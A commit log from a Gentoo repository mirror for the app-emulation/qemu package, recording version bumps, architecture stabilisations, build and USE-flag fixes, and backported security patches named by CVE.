The installed udev rules should also cover /dev/vhost-vsock just as they currently cover /dev/vhost-net. The upstream systemd rules will include vhost-vsock in systemd v248. Closes: https://bugs.gentoo.org/773286 Signed-off-by: Maciej S. Szmigiero <mail@maciej.szmigiero.name> Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 5.2.0-r1 arm64, #765736
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
David Michael · gentoo
app-emulation/qemu: depend on VGA BIOS files for PPC
Closes: https://bugs.gentoo.org/769386 Package-Manager: Portage-3.0.13, Repoman-3.0.2 Signed-off-by: David Michael <fedora.dm0@gmail.com> Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: backport bios link no-pie fix on binutils-2.36
Package-Manager: Portage-3.0.14, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: port fimrware path to live ebuild
Package-Manager: Portage-3.0.14, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Sergei Trofimovich · gentoo
app-emulation/qemu: apply werror and keymap patches to live ebuild
Package-Manager: Portage-3.0.14, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: fix firmware paths in json files
Fixed-by: Jannik Glückert Closes: https://bugs.gentoo.org/766743 Package-Manager: Portage-3.0.14, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michał Górny · gentoo
*/*: Remove obsolete values from PYTHON_COMPAT
Signed-off-by: Michał Górny <mgorny@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop old
Package-Manager: Portage-3.0.14, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 5.1.0-r3 ppc64, #761598
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 5.2.0-r1 ppc64, #765736
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #761598
Package-Manager: Portage-3.0.9, Repoman-3.0.2 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #765736
Package-Manager: Portage-3.0.9, Repoman-3.0.2 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #761598
Package-Manager: Portage-3.0.9, Repoman-3.0.2 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #765736
Package-Manager: Portage-3.0.9, Repoman-3.0.2 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Ionen Wolkens · gentoo
app-emulation/qemu: add udev REQUIRED_USE for multipath
Closes: https://bugs.gentoo.org/763285 Package-Manager: Portage-3.0.12, Repoman-3.0.2 Signed-off-by: Ionen Wolkens <sudinave@gmail.com> Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 5.1.0-r3 arm64, #761598
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: use tool-prefixed 'strings'
Reported-by: Agostino Sarubbo Closes: https://bugs.gentoo.org/759310 Package-Manager: Portage-3.0.12, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Ionen Wolkens · gentoo
app-emulation/qemu: build virtiofsd if USE=vhost-user-fs
With qemu-5.2.0 build system changes, virtiofsd would only be auto-enabled if USE="caps seccomp", --enable-tools, and --enable-system. The last being disabled for the tools build led to virtiofsd being missing for users. Rather than work around, control using --enable-virtiofsd and USE=vhost-user-fs Cannot be enabled together with --disable-tools, so added conf_tools() Closes: https://bugs.gentoo.org/759673 Package-Manager: Portage-3.0.12, Repoman-3.0.2 Signed-off-by: Ionen Wolkens <sudinave@gmail.com> Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Ionen Wolkens · gentoo
app-emulation/qemu: add missing ipxe[qemu] USE dep
Closes: https://bugs.gentoo.org/759592 Package-Manager: Portage-3.0.12, Repoman-3.0.2 Signed-off-by: Ionen Wolkens <sudinave@gmail.com> Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop USE=xkb, use prebuilt keymaps
USE=xkb re-generates qemu keymaps instead of already prebuilt ones. It has a few problems: - present /usr/bin/qemu-keymaps is preferred over locally built one - /usr/bin/qemu-keymaps can't be ran on a system without x11-misc/xkeyboard-config Let's rely on prebuilt keymaps. Reported-by: Ben Kohler Closes: https://bugs.gentoo.org/759604 Package-Manager: Portage-3.0.12, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
David Michael · gentoo
app-emulation/qemu: fix automagic libudev dependency
Closes: https://bugs.gentoo.org/759361 Package-Manager: Portage-3.0.9, Repoman-3.0.2 Signed-off-by: David Michael <fedora.dm0@gmail.com> Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: make ./configure -Werror-clean
Fix safe-stack detection on gcc -Wall -Wextra to avoid declaration of unused parameters. Package-Manager: Portage-3.0.12, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop nls mangling, use --enable-gettext
qemu-5.2.0 updated the way locales are generated. Let's drop our hack for locale filtering. Reported-by: Julien Delquié Closes: https://bugs.gentoo.org/759301 Package-Manager: Portage-3.0.12, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: revert "fix safe-stack feature detection"
I misinterpreted what test does. Will need to check why it passes for me. Reverting it for now. This reverts commit 541bb02a46aa817953c29c8ffef222bbfb58ebd8. Reported-by: Agostino Sarubbo Closes: https://bugs.gentoo.org/759331 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: fix safe-stack feature detection
Package-Manager: Portage-3.0.12, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: bump up to 5.2.0
Package-Manager: Portage-3.0.12, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Rafael Kitover · gentoo
app-emulation/qemu-9999: Don't install Changelog.
Changelog is no longer part of the distribution. Closes: https://bugs.gentoo.org/758941 Signed-off-by: Rafael Kitover <rkitover@gmail.com> Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michal Privoznik · gentoo
app-emulation/qemu: Work around libusb bug
In its 6.9.0 relelase Libvirt changed way how USB devices are specified on QEMU's command line. While previously .hostbus= and .hostaddr= were used they were not really good fit and often get in way of another libvirt feature - namespaces (see v6.9.0-rc1~456 libvirt commit for more info). The new way of configuring USB devices is .hostdevice=/dev/bus/usb/.../... but it exposed a bug in libusb which is worked around in qemu (see v5.1.0-599-g202d69a715 QEMU commit for more info). Backport the workaround for the time being. It can be dropped when we rebase to 5.2.0. Closes: https://bugs.gentoo.org/753305 Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Closes: https://github.com/gentoo/gentoo/pull/18385 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Georgy Yakovlev · gentoo
app-emulation/qemu: ppc64 stable, bug #750047
Package-Manager: Portage-3.0.9, Repoman-3.0.2 Signed-off-by: Georgy Yakovlev <gyakovlev@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: revbump for liburing subslot op
Bug: https://bugs.gentoo.org/752132 Acked-by: David Seifert <soap@gentoo.org> Package-Manager: Portage-3.0.8, Repoman-3.0.2 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Lars Wendler · gentoo
app-emulation/qemu: Added sub-slot dep for sys-libs/liburing
Bug: https://bugs.gentoo.org/752132 Package-Manager: Portage-3.0.9, Repoman-3.0.2 Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: plumb EXTRA_CONF_QEMU variable for ./configure
New EXTRA_CONF_QEMU variable To ease passing arbitrary overrides to qemu's configure. Usage example: EXTRA_CONF_QEMU='--tls-priority=@QEMU,NORMAL' emerge -v1 qemu Expected to be used in make.conf or package.env override. Use at your own risk! Closes: https://bugs.gentoo.org/747928 Package-Manager: Portage-3.0.8, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Sergei Trofimovich · gentoo
app-emulation/qemu: revert "allow user-specified @QEMU TLS policy"
`--tls-priority=@QEMU,NORMAL` does not work without extra configuration. Let's remove it for now. Reported-by: Vjaceslavs Klimovs Bug: https://bugs.gentoo.org/747928 Package-Manager: Portage-3.0.8, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: syncl recent changes to live ebuild
Package-Manager: Portage-3.0.8, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michal Privoznik · gentoo
app-emulation/qemu-9999: Remove qemu-9999-cflags.patch
In upstream commit of v5.1.0-1916-g5770e8afd6 qemu removed CFLAGS clobbering (among other env vars) rendering our patch redundant. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu-9999: Reflect targets move
In qemu upstream commit of v5.1.0-1872-gfdb75aeff7 the targets were moved from "${S}"/default-configs/ to "${S}"/default-configs/targets/. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Closes: https://github.com/gentoo/gentoo/pull/17992 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: allow user'specified @QEMU TLS policy
Patch-by: Vjaceslavs Klimovs Closes: https://bugs.gentoo.org/747928 Package-Manager: Portage-3.0.8, Repoman-3.0.1 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Alexey Shvetsov · gentoo
app-emulation/qemu: works with py39
Package-Manager: Portage-3.0.8, Repoman-3.0.1 Signed-off-by: Alexey Shvetsov <alexxy@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop old
Package-Manager: Portage-3.0.8, Repoman-3.0.1 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #743649
Package-Manager: Portage-2.3.103, Repoman-2.3.23 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop USE=tci
TCG interpreter (TCI) has a few limitations: - it does not support FPU - it's generally slower on non-self-modifying code It's advantage is support for host architectures where native codegeneration is not implemented. Gentoo has qemu keyworded only on targets with native code generation available. Avoid the interpreter. Reported-by: Kent Fredric Closes: https://bugs.gentoo.org/746752 Package-Manager: Portage-3.0.8, Repoman-3.0.1 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 5.1.0-r1 amd64, #743649
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 5.1.0-r1 arm64, #743649
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop old
Package-Manager: Portage-3.0.7, Repoman-3.0.1 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: backport USB oob access (CVE-2020-14364)
Reported-by: John Helmert III (ajak) Bug: https://bugs.gentoo.org/743649 Package-Manager: Portage-3.0.7, Repoman-3.0.1 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop upstreamed patch
This reverts commit 3752d632441c34385ee7296126e3867536cb63e7. Bug: https://bugs.gentoo.org/740836 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #741768
Package-Manager: Portage-2.3.103, Repoman-2.3.23 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #741768)
Package-Manager: Portage-3.0.7, Repoman-3.0.1 Signed-off-by: Thomas Deutschmann <whissi@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 5.1.0 arm64, #741768
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: enable sdl-image only for softmmu
qemu's build system became sightly stricter and disallows 'sdl-image' support without 'sdl' support. The check only makes sense for softmmu build, but is done for all types of builds. The change disables 'sdl-image' flag for 'user' and 'tools' builds. Reported-by: Rafael Kitover Closes: https://bugs.gentoo.org/740836 Package-Manager: Portage-3.0.5, Repoman-3.0.1 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: tweak error message for missing SDL
Reported-by: Rafael Kitover Bug: https://bugs.gentoo.org/740836 Package-Manager: Portage-3.0.5, Repoman-3.0.1 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Sergei Trofimovich · gentoo
app-emulation/qemu: add meson repo to live ebuild
Package-Manager: Portage-3.0.5, Repoman-3.0.1 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop --with-confsuffix=
Upstream renamed it to --with-suffix=. We were passing the default anyway. No need to pass it explicitly. Package-Manager: Portage-3.0.5, Repoman-3.0.1 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Sergei Trofimovich · gentoo
app-emulation/qemu: drop outdated pixman-for-vhost-user-gpu.patch
Reported-by: Darren Blaber Bug: https://bugs.gentoo.org/740386 Package-Manager: Portage-3.0.5, Repoman-3.0.1 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Sergei Trofimovich · gentoo
app-emulation/qemu: refresh cflags.patch patch
Reported-by: Darren Blaber Bug: https://bugs.gentoo.org/740386 Package-Manager: Portage-3.0.5, Repoman-3.0.1 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Sergei Trofimovich · gentoo
app-emulation/qemu: drop outdated mkdir_systemtap.patch patch
Reported-by: Darren Blaber Bug: https://bugs.gentoo.org/740386 Package-Manager: Portage-3.0.5, Repoman-3.0.1 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop old
Package-Manager: Portage-3.0.4, Repoman-3.0.1 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #737228)
Package-Manager: Portage-3.0.4, Repoman-3.0.1 Signed-off-by: Thomas Deutschmann <whissi@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
David Michael · gentoo
app-emulation/qemu: fix USE="static slirp"
Closes: https://bugs.gentoo.org/739514 Package-Manager: Portage-2.3.103, Repoman-2.3.23 Signed-off-by: David Michael <fedora.dm0@gmail.com> Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Ionen Wolkens · gentoo
app-emulation/qemu: add jack support
Closes: https://bugs.gentoo.org/733612 Signed-off-by: Ionen Wolkens <sudinave@gmail.com> Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: arm64 stable (bug #738056)
Package-Manager: Portage-3.0.3, Repoman-3.0.0 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #737228
Package-Manager: Portage-2.3.103, Repoman-2.3.23 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: fix pixman detection for vhost-user-gnu
Use patch by Rafael Kitover to fix dependency detection. Fix-by: Rafael Kitover Closes: https://bugs.gentoo.org/735146 Package-Manager: Portage-3.0.2, Repoman-2.3.23 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: bump up to 5.1.0
Package-Manager: Portage-3.0.2, Repoman-2.3.23 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop old
Package-Manager: Portage-3.0.0, Repoman-2.3.23 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: fix automagic sys-fs/multipath-tools
Add USE=multipath to control optional sys-fs/multipath-tools dependency. Reported-by: Alessandro Barbieri Closes: https://bugs.gentoo.org/733820 Package-Manager: Portage-3.0.0, Repoman-2.3.23 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: add USE=caps for USE=virtfs
qemu's ./configure asserts that virtfs always requires caps. Reported-by: Thomas De Schampheleire Closes: https://bugs.gentoo.org/732722 Package-Manager: Portage-2.3.103, Repoman-2.3.23 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Sergei Trofimovich · gentoo
app-emulation/qemu: pass --disable-containers
By default qemu build system tries to run docker and zfs tools. We don't want that as part of normal build process. Reported-by: Rafael Kitover Closes: https://bugs.gentoo.org/732972 Package-Manager: Portage-2.3.103, Repoman-2.3.23 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Sergei Trofimovich · gentoo
app-emulation/qemu: add 'avr' target to live ebuild
Package-Manager: Portage-2.3.103, Repoman-2.3.23 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: enable USE=slirp by default
Reported-by: Michał Górny Closes: https://bugs.gentoo.org/733098 Package-Manager: Portage-2.3.103, Repoman-2.3.23 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #731992
Package-Manager: Portage-2.3.99, Repoman-2.3.22 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #731992
Package-Manager: Portage-2.3.99, Repoman-2.3.22 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Francesco Turco · gentoo
app-emulation/qemu: fix eerror typo
Signed-off-by: Francesco Turco <mail@fturco.net> Closes: https://github.com/gentoo/gentoo/pull/16714 Signed-off-by: Joonas Niilola <juippis@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: use system slirp via USE=slirp
Reported-by: Yaroslav Isakov Bug: https://bugs.gentoo.org/732144 Package-Manager: Portage-2.3.103, Repoman-2.3.23 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: backport slirp ipv6 fix: CVE-2020-10756
Reported-by: John Helmert III (ajak) Bug: https://bugs.gentoo.org/731992 Package-Manager: Portage-2.3.103, Repoman-2.3.23 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop old
Package-Manager: Portage-2.3.103, Repoman-2.3.23 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: add new sv locale to live ebuild
Reported-by: Joakim Tjernlund Closes: https://bugs.gentoo.org/730226 Package-Manager: Portage-2.3.103, Repoman-2.3.23 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Sergei Trofimovich · gentoo
app-emulation/qemu: drop upstreamed patch from live ebuild
Reported-by: Joakim Tjernlund Bug: https://bugs.gentoo.org/730226 Package-Manager: Portage-2.3.103, Repoman-2.3.23 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #728932
Package-Manager: Portage-2.3.99, Repoman-2.3.22 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #728932
Package-Manager: Portage-2.3.99, Repoman-2.3.22 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: allow user to override AS
Package-Manager: Portage-2.3.100, Repoman-2.3.22 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Georgy Yakovlev · gentoo
app-emulation/qemu: restore ~ppc keyword, bug #720206
Package-Manager: Portage-2.3.100, Repoman-2.3.22 Signed-off-by: Georgy Yakovlev <gyakovlev@gentoo.org>
Georgy Yakovlev · gentoo
app-emulation/qemu: restore ~ppc64 keyword, bug #720206
Package-Manager: Portage-2.3.100, Repoman-2.3.22 Signed-off-by: Georgy Yakovlev <gyakovlev@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James (sam_c) · gentoo
app-emulation/qemu: arm64 keyworded (bug #720206)
Package-Manager: Portage-2.3.99, Repoman-2.3.22 Signed-off-by: Sam James (sam_c) <sam@cmpct.info> Signed-off-by: Mart Raudsepp <leio@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: bump up to 5.0.0, bug #720138
Two new USE flags: - io-uring for fast async io_uring I/O - zstd for libzstd compression of migration traffic Reported-by: Thomas Stein Closes: https://bugs.gentoo.org/720138 Package-Manager: Portage-2.3.99, Repoman-2.3.22 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop old, bug #719266
Bug: https://bugs.gentoo.org/719266 Package-Manager: Portage-2.3.99, Repoman-2.3.22 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #719266)
Package-Manager: Portage-2.3.99, Repoman-2.3.22 Signed-off-by: Thomas Deutschmann <whissi@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 stable wrt bug #719266
Package-Manager: Portage-2.3.89, Repoman-2.3.20 RepoMan-Options: --include-arches="amd64" Signed-off-by: Mikle Kolyada <zlogene@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: fix int overflow in ati-2d, bug #719266
Direct backport of upstream ac2071c3791b67fc7af78b8ceb "ati-vga: Fix checks in ati_2d_blt() to avoid crash" Bug: https://bugs.gentoo.org/719266 Package-Manager: Portage-2.3.99, Repoman-2.3.22 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: export proper RANLIB
Bug: https://bugs.gentoo.org/718134 Package-Manager: Portage-2.3.99, Repoman-2.3.22 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable; drop patches
Package-Manager: Portage-2.3.99, Repoman-2.3.22 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: stabilize amd64 and x86 wrt bug #717886
Bug: https://bugs.gentoo.org/717886 Package-Manager: Portage-2.3.99, Repoman-2.3.22 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable
Package-Manager: Portage-2.3.99, Repoman-2.3.22 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: add security patch
Bug: https://bugs.gentoo.org/717770 Package-Manager: Portage-2.3.99, Repoman-2.3.22 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Craig Andrews · gentoo
app-emulation/qemu: Python 3.8 compatibility
Package-Manager: Portage-2.3.99, Repoman-2.3.22 Signed-off-by: Craig Andrews <candrews@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: reenable parallel tests
Package-Manager: Portage-2.3.99, Repoman-2.3.22 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Sergei Trofimovich · gentoo
app-emulation/qemu: drop outdated test target, bug #717176
Reported-by: Agostino Sarubbo Closes: https://bugs.gentoo.org/717176 Package-Manager: Portage-2.3.99, Repoman-2.3.22 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: fix epoll_create1 handling, bug #717548
Recent python started using epoll_create1() which had a bug of missing translation for flags from target to host. Pull upstreamed patch. Reported-by: Barnabás Virágh Closes: https://bugs.gentoo.org/717548 Package-Manager: Portage-2.3.99, Repoman-2.3.22 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: add a comment that backend ordering matters
Bug: https://bugs.gentoo.org/716202 Package-Manager: Portage-2.3.97, Repoman-2.3.22 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: fix buffer overflow, CVE-2020-11102
Bug: https://bugs.gentoo.org/716518 Package-Manager: Portage-2.3.96, Repoman-2.3.22 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: reverse order of audio backends
Closes: https://bugs.gentoo.org/716202 Package-Manager: Portage-2.3.96, Repoman-2.3.22 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michal Privoznik · gentoo
app-emulation/qemu-9999: Introduce RX softmmu target
